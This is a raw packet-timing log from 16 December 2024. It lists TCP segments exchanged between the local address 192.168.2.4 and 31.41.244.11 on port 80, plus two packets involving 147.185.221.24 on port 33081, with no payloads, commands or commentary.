Dec 16, 2024 21:02:59.846571922 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.846652985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.846698999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.848510981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.848571062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.848767996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.848819017 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.850547075 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.850599051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.850691080 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.850737095 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.852538109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.852591038 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.852682114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.852729082 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.854564905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.854617119 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.854707956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.854779005 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.856479883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.856533051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.943634033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.943650007 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.943811893 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.944492102 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.944648027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.944873095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.944909096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.944941044 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.944973946 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.946805000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.946861982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.985358953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.985455990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.985470057 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.985538006 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.986538887 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.986594915 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.986710072 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.986757040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.988065004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.988123894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.988384008 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.988449097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.989785910 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.989836931 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.989916086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.989969015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.991604090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.991674900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.991759062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.991805077 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.993413925 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.993469954 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.993505001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.993551016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.995152950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.995213032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.995244026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.995291948 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.996985912 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.997055054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.997111082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.997164965 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.998711109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.998759985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:59.998826981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:59.998872042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.000519991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.000570059 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.000616074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.000669003 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.002307892 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.002362013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.002402067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.002448082 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.004153967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.004211903 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.004272938 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.004326105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.006051064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.006102085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.006105900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.006153107 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.007680893 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.007730961 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.007848024 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.007894039 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.009504080 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.009555101 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.009645939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.009696960 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.011353016 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.011408091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.011481047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.011526108 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.013179064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.013227940 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.013298988 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.013345003 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.014898062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.014935970 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.014974117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.014975071 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.016704082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.016765118 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.016808033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.016854048 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.018450022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.018500090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.018548965 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.018604040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.020282984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.020344019 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.020380020 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.020426989 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.022404909 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.022459984 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.022559881 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.022619963 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.024298906 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.024347067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.024431944 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.024486065 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.025815010 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.025870085 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.025929928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.025974989 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.027704954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.027748108 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.027796030 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.027842999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.029244900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.029300928 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.029397011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.029448032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.031037092 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.031069040 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.031107903 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.031135082 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.032835960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.032907009 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.032943010 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.032991886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.034666061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.034732103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.034789085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.034845114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.036490917 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.036552906 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.036613941 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.036659002 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.038197041 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.038247108 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.038300037 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.038372993 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.040009022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.040066004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.040072918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.040103912 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.041892052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.041944981 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.042045116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.042095900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.043853045 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.043874025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.043900013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.043926954 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.045427084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.045475006 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.045548916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.045592070 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.047277927 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.047346115 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.047488928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.047542095 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.049119949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.049176931 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.049525023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.049597979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.050841093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.050889969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.050982952 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.051023960 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.052606106 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.052674055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.052685022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.052716970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.054421902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.054491997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.054645061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.054697990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.056282997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.056339025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.056407928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.056454897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.058093071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.058141947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.058160067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.058202982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.059757948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.059808969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.059879065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.059927940 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.061574936 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.061649084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.061707973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.061760902 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.063380003 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.063451052 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.063492060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.063533068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.065090895 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.065140009 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.065378904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.065426111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.066946983 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.066992998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.066999912 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.067045927 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.068691969 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.068766117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.068792105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.068840027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.070642948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.070693016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.070766926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.070839882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.072268963 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.072323084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.072395086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.072441101 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.074145079 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.074229956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.074245930 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.074281931 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.192575932 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:03:00.192584991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.192600012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.192903042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.193845034 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.193856955 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.193914890 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.193949938 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.194410086 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:03:00.312849998 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.312865973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.312953949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.314038038 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.314050913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.314105988 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.432620049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432635069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432643890 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432658911 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432667971 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432677984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432687044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432696104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432719946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432729959 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432813883 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.432815075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.432815075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.432815075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.432815075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.432919025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.432970047 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.433058023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.433068991 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.433077097 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.433082104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.433089972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.433099985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.433104038 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.433109999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.433118105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.433126926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.433126926 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.433155060 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.433180094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.434003115 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434016943 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434026957 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434037924 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434048891 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434055090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.434057951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434070110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434081078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434082031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.434092999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434103012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434108019 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.434128046 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.434142113 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.434881926 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434892893 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434901953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434911966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434921980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434926033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.434932947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434942961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434947968 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.434958935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434973955 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434978008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.434983969 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.434992075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.435030937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.435795069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.435816050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.435827017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.435834885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.435834885 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.435837984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.435849905 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.435859919 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.435884953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.435911894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.436325073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436345100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436355114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436366081 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436381102 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436384916 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.436384916 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.436393023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436403036 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436413050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436424017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436424017 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.436424017 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.436434984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.436444998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.436469078 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.437249899 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.437268972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.437279940 CET	80	49882	31.41.244.11	192.168.2.4
